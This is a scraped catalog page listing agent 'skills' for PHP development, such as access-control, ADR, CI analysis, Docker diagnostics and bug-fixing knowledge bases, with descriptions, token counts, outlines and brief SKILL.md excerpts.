skills/create-bulkhead - create-cache-aside
skills/create-cache-aside - create-chain-of-responsibility
skills/create-chain-of-responsibility - create-circuit-breaker
skills/create-circuit-breaker - create-command
skills/create-command - create-composite
skills/create-composite - create-correlation-context
skills/create-correlation-context - create-dead-letter-queue
skills/create-dead-letter-queue - create-decorator
skills/create-decorator - create-deploy-strategy
skills/create-deploy-strategy - create-deptrac-config
skills/create-deptrac-config - create-di-container
skills/create-di-container - create-distributed-lock
skills/create-distributed-lock - create-docker-compose-dev
skills/create-docker-compose-dev - create-docker-compose-production
skills/create-docker-compose-production - create-docker-entrypoint
skills/create-docker-entrypoint - create-docker-env-template
skills/create-docker-env-template - create-docker-healthcheck
skills/create-docker-healthcheck - create-docker-makefile
skills/create-docker-makefile - create-docker-nginx-config
skills/create-docker-nginx-config - create-docker-php-config
skills/create-docker-php-config - create-docker-supervisor-config
skills/create-docker-supervisor-config - create-dockerfile-ci
skills/create-dockerfile-ci - create-dockerfile-dev
skills/create-dockerfile-dev - create-dockerfile-production
skills/create-dockerfile-production - create-dockerignore
skills/create-dockerignore - create-domain-event
skills/create-domain-event - create-domain-service
skills/create-domain-service - create-dto
skills/create-dto - create-entity
skills/create-entity - create-event-store
skills/create-event-store - create-facade
skills/create-facade - create-factory
skills/create-factory - create-feature-flags
skills/create-feature-flags - create-flyweight
skills/create-flyweight - create-github-actions
skills/create-github-actions - create-gitlab-ci
skills/create-gitlab-ci - create-health-check
skills/create-health-check - create-idempotency-handler
skills/create-idempotency-handler - create-idempotent-consumer
skills/create-idempotent-consumer - create-integration-test
skills/create-integration-test - create-iterator
skills/create-iterator - create-mediator
skills/create-mediator - create-memento
skills/create-memento - create-message-broker-adapter
skills/create-message-broker-adapter - create-metrics-collector
skills/create-metrics-collector - create-mock-repository
skills/create-mock-repository - create-null-object
skills/create-null-object - create-object-pool
skills/create-object-pool - create-outbox-pattern
skills/create-outbox-pattern - create-phpstan-config
skills/create-phpstan-config - create-policy
skills/create-policy - create-prototype
skills/create-prototype - create-proxy
skills/create-proxy - create-psalm-config
skills/create-psalm-config - create-psr11-container
skills/create-psr11-container - create-psr13-link
skills/create-psr13-link - create-psr14-event-dispatcher
skills/create-psr14-event-dispatcher - create-psr15-middleware
skills/create-psr15-middleware - create-psr16-simple-cache
skills/create-psr16-simple-cache - create-psr17-http-factory
skills/create-psr17-http-factory - create-psr18-http-client
skills/create-psr18-http-client - create-psr20-clock
skills/create-psr20-clock - create-psr3-logger
skills/create-psr3-logger - create-psr6-cache
skills/create-psr6-cache - create-psr7-http-message
skills/create-psr7-http-message - create-query
skills/create-query - create-rate-limiter
skills/create-rate-limiter - create-read-model
skills/create-read-model - create-read-write-proxy
skills/create-read-write-proxy - create-rector-config
skills/create-rector-config - create-repository
skills/create-repository - create-responder
skills/create-responder - create-retry-pattern
skills/create-retry-pattern - create-saga-pattern
skills/create-saga-pattern - create-snapshot
skills/create-snapshot - create-specification
skills/create-specification - create-state
skills/create-state - create-strategy
skills/create-strategy - create-structured-logger
skills/create-structured-logger - create-template-method
skills/create-template-method - create-test-builder
skills/create-test-builder - create-test-double
skills/create-test-double - create-timeout
skills/create-timeout - create-unit-of-work
skills/create-unit-of-work - create-unit-test
skills/create-unit-test - create-use-case
skills/create-use-case - create-value-object
skills/create-value-object - create-visitor
skills/create-visitor - ddd-knowledge
skills/ddd-knowledge - deployment-knowledge
skills/deployment-knowledge - detect-architecture-pattern
skills/detect-architecture-pattern - detect-ci-antipatterns
skills/detect-ci-antipatterns - detect-code-smells
skills/detect-code-smells - detect-docker-antipatterns
skills/detect-docker-antipatterns - detect-memory-issues
skills/detect-memory-issues - detect-n-plus-one
skills/detect-n-plus-one - detect-test-smells
skills/detect-test-smells - detect-unnecessary-loops
skills/detect-unnecessary-loops - diagram-knowledge
skills/diagram-knowledge - discover-project-logs
skills/discover-project-logs - docker-base-images-knowledge
skills/docker-base-images-knowledge - docker-buildkit-knowledge
skills/docker-buildkit-knowledge - docker-compose-knowledge
skills/docker-compose-knowledge - docker-knowledge
skills/docker-knowledge - docker-multistage-knowledge
skills/docker-multistage-knowledge - docker-networking-knowledge
skills/docker-networking-knowledge - docker-orchestration-knowledge
skills/docker-orchestration-knowledge - docker-php-extensions-knowledge
skills/docker-php-extensions-knowledge - docker-production-knowledge
skills/docker-production-knowledge - docker-scanning-knowledge
skills/docker-scanning-knowledge - docker-security-knowledge
skills/docker-security-knowledge - docker-troubleshooting-knowledge
skills/docker-troubleshooting-knowledge - documentation-knowledge
skills/documentation-knowledge - documentation-qa-knowledge
skills/documentation-qa-knowledge - eda-knowledge
skills/eda-knowledge - estimate-complexity
skills/estimate-complexity - estimate-pipeline-time
skills/estimate-pipeline-time - event-sourcing-knowledge
skills/event-sourcing-knowledge - explain-business-process
skills/explain-business-process - explain-output-template
skills/explain-output-template - extract-business-rules
skills/extract-business-rules - extract-domain-concepts
skills/extract-domain-concepts - extract-state-machine
skills/extract-state-machine - find-boundary-issues
skills/find-boundary-issues - find-exception-issues
skills/find-exception-issues - find-infinite-loops
skills/find-infinite-loops - find-logic-errors
skills/find-logic-errors - find-null-pointer-issues
skills/find-null-pointer-issues - find-race-conditions
skills/find-race-conditions - find-resource-leaks
skills/find-resource-leaks - find-type-issues
skills/find-type-issues - generate-bug-fix
skills/generate-bug-fix - generate-ci-fix
skills/generate-ci-fix - getting-started-template
skills/getting-started-template - grasp-knowledge
skills/grasp-knowledge - hexagonal-knowledge
skills/hexagonal-knowledge - identify-entry-points
skills/identify-entry-points - laravel-knowledge
skills/laravel-knowledge - layer-arch-knowledge
skills/layer-arch-knowledge - map-async-flows
skills/map-async-flows - mermaid-template
skills/mermaid-template - message-queue-knowledge
skills/message-queue-knowledge - microservices-knowledge
skills/microservices-knowledge - no-framework-knowledge
skills/no-framework-knowledge - observability-knowledge
skills/observability-knowledge - optimize-docker-build-time
skills/optimize-docker-build-time - optimize-docker-compose-resources
skills/optimize-docker-compose-resources - optimize-docker-image-size
skills/optimize-docker-image-size - optimize-docker-layers
skills/optimize-docker-layers - optimize-docker-opcache
skills/optimize-docker-opcache - optimize-docker-php-fpm
skills/optimize-docker-php-fpm - optimize-docker-startup
skills/optimize-docker-startup - outbox-pattern-knowledge
skills/outbox-pattern-knowledge - psr-autoloading-knowledge
skills/psr-autoloading-knowledge - psr-coding-style-knowledge
skills/psr-coding-style-knowledge - psr-overview-knowledge
skills/psr-overview-knowledge - readme-template
skills/readme-template - replication-sharding-knowledge
skills/replication-sharding-knowledge - resolve-entry-point
skills/resolve-entry-point - saga-pattern-knowledge
skills/saga-pattern-knowledge - scalability-knowledge
skills/scalability-knowledge - scan-codebase-structure
skills/scan-codebase-structure - solid-knowledge
skills/solid-knowledge - stability-patterns-knowledge
skills/stability-patterns-knowledge - suggest-simplification
skills/suggest-simplification - suggest-testability-improvements
skills/suggest-testability-improvements - symfony-knowledge
skills/symfony-knowledge - task-progress-knowledge
skills/task-progress-knowledge - testing-knowledge
skills/testing-knowledge - trace-data-transformation
skills/trace-data-transformation - trace-request-lifecycle
skills/trace-request-lifecycle - troubleshooting-template
skills/troubleshooting-template - yii-knowledge
skills/yii-knowledge
How it works
access-control-knowledge
When your agent uses it
Access Control knowledge base. Provides ACL, RBAC, ABAC, ReBAC models, multi-tenancy patterns, and PHP implementations (Symfony Voters, Laravel Gates) for security audits and generation.
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
3,840 tokensWhen the skill is activated
Reference documents
5,242 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Access Control Models Comparison
- Decision Matrix: When to Use Which Model
- RBAC: Role-Based Access Control
- ABAC: Attribute-Based Access Control
- ReBAC: Relationship-Based Access Control
- Multi-Tenancy Authorization
- Symfony Voter Implementation
- Laravel Gate/Policy
- Anti-Patterns
- Common Violations Quick Reference
- Detection Patterns
- References
Files
../../.claude-plugin/marketplace.jsonasset885 bytes../../.claude-plugin/plugin.jsonasset550 bytes../../hooks/hooks.jsonasset406 bytesSKILL.mdcore21,527 bytesSKILL.mdcore21,527 bytesSKILL.mdcore21,527 bytesSKILL.mdcore21,527 bytesSKILL.mdcore21,527 bytesSKILL.mdcore21,527 bytesSKILL.mdcore21,527 bytesreferences/models.mddoc10,002 bytesreferences/php-implementations.mddoc13,118 bytes
Read SKILL.md
# Access Control Knowledge Base
Quick reference for access control models, authorization patterns, and PHP implementations.
## Access Control Models Comparison
| Model | Full Name | Basis | Granularity | Scalability | Complexity |
|-------|-----------|-------|-------------|-------------|------------|
| **ACL** | Access Control List | Per-resource permissions | Fine | Poor at scale | Low |
| **RBAC** | Role-Based Access Control | Roles assigned to users | Medium | Good | Medium |
| **ABAC** | Attribute-Based Access Control | Policies over attributes | Very fine | Excellent | High |
| **ReBAC** | Relationship-Based Access Control | Object relationships | Very fine | Excellent | High |
## Decision Matrix: When to Use Which ModelView the complete source on GitHubadr-knowledge
When your agent uses it
Action-Domain-Responder pattern knowledge base. Provides patterns, antipatterns, and PHP-specific guidelines for ADR (web-specific MVC alternative) audits.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
2,348 tokensWhen the skill is activated
Reference documents
12,235 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- ADR vs MVC Comparison
- Quick Checklists
- Common Violations Quick Reference
- PHP 8.4 ADR Patterns
- Detection Patterns
- File Structure
- Integration with DDD
- PSR Integration
- Antipatterns
- References
- Assets
Files
SKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesSKILL.mdcore9,909 bytesassets/report-template.mddoc3,022 bytesreferences/action-patterns.mddoc9,706 bytesreferences/antipatterns.mddoc9,053 bytesreferences/domain-integration.mddoc10,881 bytesreferences/mvc-comparison.mddoc10,027 bytesreferences/responder-patterns.mddoc11,602 bytes
Read SKILL.md
# ADR Knowledge Base
Quick reference for Action-Domain-Responder pattern and PHP implementation guidelines.
## Core Principles
### ADR Components
```
HTTP Request → Action (collects input)
↓
Domain (executes business logic)
↓
Responder (builds HTTP Response)View the complete source on GitHubadr-template
When your agent uses it
Generates Architecture Decision Records (ADR) for PHP projects. Creates structured decision documentation with context, decision, and consequences.
What it loads into context
Frontmatter
30 tokensAlways available to the agent
SKILL.md
1,704 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- ADR Format
- Section Guidelines
- Complete Example
- File Naming Convention
- ADR Index Template
- Generation Instructions
Files
SKILL.mdcore7,497 bytes
Read SKILL.md
# ADR Template Generator
Generate Architecture Decision Records following the standard format.
## ADR Format
```markdown
# ADR-{number}: {Title}
**Status:** {Proposed | Accepted | Deprecated | Superseded}
**Date:** {YYYY-MM-DD}
**Deciders:** {names or roles}
## ContextView the complete source on GitHubanalyze-ci-config
When your agent uses it
Analyzes existing CI/CD configurations. Detects issues in GitHub Actions and GitLab CI files, checks for best practices, caching efficiency, and security concerns.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
2,048 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Analysis Categories
- GitHub Actions Analysis
- GitLab CI Analysis
- Analysis Output Format
- Major Issues
- Minor Issues
- Recommendations
- Optimized Configuration
Files
SKILL.mdcore8,565 bytes
Read SKILL.md
# CI Configuration Analyzer
Analyzes CI/CD configurations for issues, optimizations, and best practices.
## Analysis Categories
### 1. Structure Analysis
```
┌─────────────────────────────────────────────────────────────────┐
│ CI CONFIG ANALYSIS │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ✓ Stages defined: install → lint → test → build → deploy │View the complete source on GitHubanalyze-ci-logs
When your agent uses it
Analyzes CI/CD pipeline logs to identify failure causes. Parses error messages, detects common failure patterns, and provides fix recommendations.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
2,057 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Failure Categories
- Log Pattern Matching
- Analysis Output Format
- Timeline
- Recommendations
- Related Changes
Files
SKILL.mdcore8,960 bytesSKILL.mdcore8,960 bytesSKILL.mdcore8,960 bytes
Read SKILL.md
# CI Log Analyzer
Analyzes CI/CD pipeline logs to diagnose failures and suggest fixes.
## Failure Categories
### 1. Dependency Failures
```
┌─────────────────────────────────────────────────────────────────┐
│ DEPENDENCY FAILURE PATTERNS │
├─────────────────────────────────────────────────────────────────┤
│ │
│ composer install: │View the complete source on GitHubanalyze-coupling-cohesion
When your agent uses it
Analyzes coupling and cohesion metrics in PHP codebases. Calculates Afferent/Efferent coupling (Ca/Ce), LCOM metrics, instability index, and abstractness. Identifies highly coupled modules and low cohesion classes.
What it loads into context
Frontmatter
58 tokensAlways available to the agent
SKILL.md
3,359 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Metrics Reference
- Detection Patterns
- Report Format
- Recommendations
- Quick Analysis Commands
- Integration
- References
Files
SKILL.mdcore12,283 bytesSKILL.mdcore12,283 bytesSKILL.mdcore12,283 bytesSKILL.mdcore12,283 bytesSKILL.mdcore12,283 bytesSKILL.mdcore12,283 bytesSKILL.mdcore12,283 bytesSKILL.mdcore12,283 bytesSKILL.mdcore12,283 bytesSKILL.mdcore12,283 bytesSKILL.mdcore12,283 bytesSKILL.mdcore12,283 bytesSKILL.mdcore12,283 bytesSKILL.mdcore12,283 bytes
Read SKILL.md
# Coupling & Cohesion Analyzer
## Overview
This skill analyzes PHP codebases for coupling and cohesion metrics, helping identify architectural issues like unstable dependencies, low cohesion classes, and tightly coupled modules.
## Metrics Reference
| Metric | Formula | Target | Description |
|--------|---------|--------|-------------|
| Ca (Afferent) | Incoming deps | - | Classes depending ON this |
| Ce (Efferent) | Outgoing deps | < 10 | Classes this DEPENDS on |
| Instability (I) | Ce / (Ca + Ce) | 0.0-1.0 | 0=stable, 1=unstable |
| Abstractness (A) | Abstract / Total | 0.0-1.0 | Ratio of interfaces |View the complete source on GitHubanalyze-docker-build-errors
When your agent uses it
Analyzes Docker build errors for PHP projects. Identifies extension compilation failures, dependency issues, memory limits, and provides fixes.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
1,389 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Common Build Error Patterns
- Detection Patterns
- Grep Patterns
- Root Cause Analysis
- Fix Templates
- Severity Classification
- Output Format
Files
SKILL.mdcore5,216 bytesSKILL.mdcore5,216 bytes
Read SKILL.md
# Docker Build Error Analysis
Analyze Dockerfile and build logs for PHP project build failures and provide targeted fixes.
## Common Build Error Patterns
| Error Category | Symptom | Root Cause |
|----------------|---------|------------|
| Extension compilation | `configure: error: ...` | Missing dev packages |
| Package not found | `E: Unable to locate package` | Wrong package name for base image |
| Permission denied | `COPY failed: permission denied` | File ownership or Docker socket |
| Memory exhausted | `Allowed memory size exhausted` | Composer or PHP memory limit |
| Context too large | `sending build context... 2GB` | Missing .dockerignore |
| Multi-stage failure | `COPY --from=builder ... not found` | Wrong stage name or path |View the complete source on GitHubanalyze-docker-image-size
When your agent uses it
Analyzes Docker image size for PHP projects. Identifies bloated layers, unnecessary packages, and provides size reduction strategies.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,372 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Expected Size Ranges
- Common Bloat Sources
- Size Estimation by Component
- Multi-Stage Build (Best Practice)
- Grep Patterns
- Reduction Impact
- Severity Classification
- Output Format
Files
SKILL.mdcore4,855 bytesSKILL.mdcore4,855 bytes
Read SKILL.md
# Docker Image Size Analysis
Analyze Docker images for PHP projects to identify bloat sources and provide size reduction strategies.
## Expected Size Ranges
| Base Image | Minimal | Typical | Bloated |
|-----------|---------|---------|---------|
| php:8.4-fpm-alpine | 30-50 MB | 80-120 MB | 200+ MB |
| php:8.4-fpm (Debian) | 150-200 MB | 250-350 MB | 500+ MB |
| php:8.4-cli-alpine | 25-40 MB | 60-100 MB | 180+ MB |
## Common Bloat Sources
View the complete source on GitHubanalyze-docker-runtime-errors
When your agent uses it
Analyzes Docker runtime errors for PHP containers. Identifies 502 Bad Gateway, OOM kills, connection refused, and permission issues.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
1,237 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Runtime Error Categories
- Detection Patterns
- Grep Patterns
- PHP-FPM Specific Diagnostics
- Severity Classification
- Output Format
Files
SKILL.mdcore4,915 bytesSKILL.mdcore4,915 bytes
Read SKILL.md
# Docker Runtime Error Analysis
Analyze running PHP containers for runtime failures and provide targeted diagnosis and fixes.
## Runtime Error Categories
| Error | Symptom | Root Cause |
|-------|---------|------------|
| 502 Bad Gateway | Nginx returns 502 | PHP-FPM not running or crashed |
| OOM Killed | Container restarts | memory_limit or container limit exceeded |
| Connection refused | Service unreachable | Container not ready or wrong network |
| Permission denied | File operation fails | UID/GID mismatch or read-only fs |
| Segmentation fault | Process crashes | Extension bug or memory corruption |
| Slow requests | Timeouts, 504 errors | PHP-FPM pool exhaustion |View the complete source on GitHubanalyze-php-logs
When your agent uses it
Parses and analyzes PHP application logs in PSR-3/Monolog, Laravel, Symfony, and plain error_log formats. Extracts exceptions, stack traces, request context, error frequency, and correlates related errors.
What it loads into context
Frontmatter
54 tokensAlways available to the agent
SKILL.md
2,613 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Supported Log Formats
- Analysis Capabilities
- Reading Strategy
- Output Format
- Integration Notes
Files
SKILL.mdcore9,708 bytesSKILL.mdcore9,708 bytesSKILL.mdcore9,708 bytesSKILL.mdcore9,708 bytes
Read SKILL.md
# PHP Log Analyzer
Parses PHP application logs across multiple formats, extracts structured data, identifies error patterns, and correlates related issues.
## Supported Log Formats
### 1. PSR-3 / Monolog (JSON)
```json
{"message":"Connection refused","context":{"exception":"PDOException","file":"/app/src/Infrastructure/Repository/OrderRepository.php","line":45,"trace":"..."},"level":500,"level_name":"CRITICAL","channel":"app","datetime":"2025-01-15T14:30:00+00:00","extra":{"url":"/api/orders","method":"POST","ip":"10.0.0.1"}}
```
**Detection:** Line starts with `{` and contains `"level_name"` or `"channel"`
View the complete source on GitHubanalyze-solid-violations
When your agent uses it
Analyzes PHP codebase for SOLID principle violations. Detects God classes (SRP), type switches (OCP), broken contracts (LSP), fat interfaces (ISP), and concrete dependencies (DIP). Generates actionable reports with severity levels and remediation recommendations.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
2,459 tokensWhen the skill is activated
Reference documents
2,344 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Analysis Workflow
- SRP (Single Responsibility) Detection
- OCP (Open/Closed) Detection
- LSP (Liskov Substitution) Detection
- ISP (Interface Segregation) Detection
- DIP (Dependency Inversion) Detection
- Report Generation
- Severity Classification
- Remediation Skills
- Quick Analysis Commands
- Integration with solid-knowledge
- Report Template
- When This Is Acceptable
Files
SKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesSKILL.mdcore8,882 bytesassets/report-template.mddoc9,298 bytes
Read SKILL.md
# SOLID Violations Analyzer
## Overview
This skill analyzes PHP codebases for SOLID principle violations and generates detailed reports with severity levels and remediation recommendations.
## Analysis Workflow
### Step 1: Scope Identification
Determine analysis scope from user input or detect automatically:
```bash
# Detect project structureView the complete source on GitHubanalyze-test-coverage
When your agent uses it
Analyzes PHP codebase for test coverage gaps. Detects untested classes, methods, branches, exception paths, and edge cases. Provides actionable recommendations.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,651 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Analysis Process
- Output Format
- Severity Levels
- Integration with Generator
Files
SKILL.mdcore6,420 bytesSKILL.mdcore6,420 bytesSKILL.mdcore6,420 bytesSKILL.mdcore6,420 bytesSKILL.mdcore6,420 bytesSKILL.mdcore6,420 bytesSKILL.mdcore6,420 bytesSKILL.mdcore6,420 bytesSKILL.mdcore6,420 bytesSKILL.mdcore6,420 bytesSKILL.mdcore6,420 bytesSKILL.mdcore6,420 bytes
Read SKILL.md
# Test Coverage Analysis
Analyzes PHP codebase to identify untested code and coverage gaps.
## Detection Patterns
### 1. Classes Without Tests
```bash
# Find all PHP classes in src/
Glob: src/**/*.php
# Find all test files
Glob: tests/**/*Test.phpView the complete source on GitHubapi-design-knowledge
When your agent uses it
API Design knowledge base. Provides REST constraints, Richardson Maturity Model, HTTP semantics, content negotiation, and GraphQL/gRPC comparison for API audits and generation.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,718 tokensWhen the skill is activated
Reference documents
7,327 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Content Negotiation
- API Style Comparison
- Quick Checklists
- Detection Patterns
- Advanced API Patterns
- References
Files
SKILL.mdcore6,898 bytesSKILL.mdcore6,898 bytesSKILL.mdcore6,898 bytesSKILL.mdcore6,898 bytesreferences/advanced-api.mddoc9,365 bytesreferences/error-handling.mddoc11,697 bytesreferences/rest-patterns.mddoc8,799 bytes
Read SKILL.md
# API Design Knowledge Base
Quick reference for API design patterns, REST best practices, and PHP implementation guidelines.
## Core Principles
### REST Constraints
| Constraint | Description | Implication |
|-----------|-------------|-------------|
| Client-Server | Separation of concerns | Independent evolution |
| Stateless | No server-side session state | Each request contains all info |
| Cacheable | Responses declare cacheability | Reduces server load |
| Uniform Interface | Standard resource operations | Predictable API surface |View the complete source on GitHubapi-doc-template
When your agent uses it
Generates API documentation for PHP projects. Creates endpoint documentation with parameters, responses, and examples.
What it loads into context
Frontmatter
26 tokensAlways available to the agent
SKILL.md
2,106 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Document Structure
- Section Templates
Files
SKILL.mdcore8,044 bytes
Read SKILL.md
# API Documentation Template Generator
Generate comprehensive API documentation for REST endpoints.
## Document Structure
```markdown
# API Reference
## Overview
{API description and base URL}
## Authentication
{Auth methods}View the complete source on GitHubarchitecture-doc-template
When your agent uses it
Generates ARCHITECTURE.md files for PHP projects. Creates layer documentation, component descriptions, and architectural diagrams.
What it loads into context
Frontmatter
30 tokensAlways available to the agent
SKILL.md
2,665 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Document Structure
- Section Templates
- Complete Example
- Architecture Layers
- Technology Stack
- Architecture Decisions
Files
SKILL.mdcore11,846 bytesSKILL.mdcore11,846 bytes
Read SKILL.md
# Architecture Documentation Template Generator
Generate comprehensive architecture documentation for PHP projects.
## Document Structure
```markdown
# Architecture
## Overview
{high-level description}
## Directory Structure
{annotated project tree}View the complete source on GitHubbug-fix-knowledge
When your agent uses it
Bug fix knowledge base. Provides bug categories, symptoms, fix patterns, and minimal intervention principles for PHP 8.4 projects.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
2,096 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Bug Categories and Symptoms
- Minimal Intervention Principles
- Fix Validation Checklist
- DDD-Specific Bug Patterns
- Quick Reference: Fix by Error Message
Files
SKILL.mdcore8,823 bytesSKILL.mdcore8,823 bytesSKILL.mdcore8,823 bytesSKILL.mdcore8,823 bytesSKILL.mdcore8,823 bytesSKILL.mdcore8,823 bytesSKILL.mdcore8,823 bytesSKILL.mdcore8,823 bytesSKILL.mdcore8,823 bytesSKILL.mdcore8,823 bytes
Read SKILL.md
# Bug Fix Knowledge Base
Comprehensive knowledge for diagnosing and fixing bugs in PHP applications following DDD, CQRS, and Clean Architecture patterns.
## Bug Categories and Symptoms
### 1. Logic Errors
**Symptoms:**
- Incorrect output for valid input
- Wrong branch taken in conditionals
- Inverted boolean logic
- Off-by-one errors in loops
- Missing edge case handling
View the complete source on GitHubbug-impact-analyzer
When your agent uses it
Analyzes bug fix blast radius. Determines affected code, dependencies, callers/callees, and potential side effects of changes.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
2,439 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Blast Radius Concept
- Analysis Dimensions
- Impact Assessment Matrix
- Dependency Graph Building
- Side Effects Mapping
- Test Coverage Analysis
- Quick Impact Commands
- Impact Report Template
Files
SKILL.mdcore10,411 bytesSKILL.mdcore10,411 bytesSKILL.mdcore10,411 bytesSKILL.mdcore10,411 bytesSKILL.mdcore10,411 bytesSKILL.mdcore10,411 bytesSKILL.mdcore10,411 bytesSKILL.mdcore10,411 bytesSKILL.mdcore10,411 bytesSKILL.mdcore10,411 bytesSKILL.mdcore10,411 bytes
Read SKILL.md
# Bug Impact Analyzer
Systematic analysis of how a bug fix will affect the codebase.
## Blast Radius Concept
Every code change has a "blast radius" - the scope of code that could be affected.
```
┌─────────────────┐
│ Direct Fix │ ← Minimal blast radius
│ (1 method) │
└────────┬────────┘
│View the complete source on GitHubbug-regression-preventer
When your agent uses it
Regression prevention checklist for bug fixes. Ensures API compatibility, behavior preservation, and no unintended side effects.
What it loads into context
Frontmatter
31 tokensAlways available to the agent
SKILL.md
2,160 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Pre-Fix Checklist
- Fix Validation Checklist
- Test Requirements
- Common Regression Patterns
- Post-Fix Verification
- Rollback Plan
- Quick Checklist Summary
Files
SKILL.mdcore8,976 bytesSKILL.mdcore8,976 bytesSKILL.mdcore8,976 bytesSKILL.mdcore8,976 bytesSKILL.mdcore8,976 bytesSKILL.mdcore8,976 bytesSKILL.mdcore8,976 bytesSKILL.mdcore8,976 bytesSKILL.mdcore8,976 bytesSKILL.mdcore8,976 bytesSKILL.mdcore8,976 bytesSKILL.mdcore8,976 bytesSKILL.mdcore8,976 bytes
Read SKILL.md
# Bug Regression Preventer
Systematic checklist to ensure bug fixes don't introduce new problems.
## Pre-Fix Checklist
### 1. Reproduction Verification
- [ ] Bug can be consistently reproduced
- [ ] Reproduction steps documented
- [ ] Environment conditions noted
- [ ] Expected vs actual behavior clear
### 2. Test Coverage Check
- [ ] Existing tests identifiedView the complete source on GitHubbug-root-cause-finder
When your agent uses it
Root cause analysis methods for PHP bugs. Provides 5 Whys technique, fault tree analysis, git bisect guidance, and stack trace parsing.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
2,138 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principle: Symptom ≠ Cause
- Method 1: 5 Whys Technique
- Method 2: Fault Tree Analysis
- Method 3: Git Bisect
- Method 4: Stack Trace Parsing
- Method 5: Dependency Graph Analysis
- Method 6: State Timeline Reconstruction
- Investigation Checklist
- Quick Reference: Where to Look First
Files
SKILL.mdcore8,833 bytesSKILL.mdcore8,833 bytesSKILL.mdcore8,833 bytesSKILL.mdcore8,833 bytesSKILL.mdcore8,833 bytesSKILL.mdcore8,833 bytesSKILL.mdcore8,833 bytesSKILL.mdcore8,833 bytesSKILL.mdcore8,833 bytesSKILL.mdcore8,833 bytes
Read SKILL.md
# Bug Root Cause Finder
Systematic methods for finding the true source of bugs, not just symptoms.
## Core Principle: Symptom ≠ Cause
The location where an error manifests is rarely where the bug originates.
```
Error Location: OrderController::show() - NullPointerException
Symptom Location: OrderRepository::find() - returns null
Root Cause: OrderCreatedHandler - failed to persist order
True Root Cause: RabbitMQ message lost due to missing ACK
```View the complete source on GitHubcaching-strategies-knowledge
When your agent uses it
Caching Strategies knowledge base. Provides caching patterns (Cache-Aside, Read-Through, Write-Through, Write-Behind), invalidation approaches, multi-level caching, and Redis data structures for caching audits and generation.
What it loads into context
Frontmatter
55 tokensAlways available to the agent
SKILL.md
1,897 tokensWhen the skill is activated
Reference documents
7,342 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
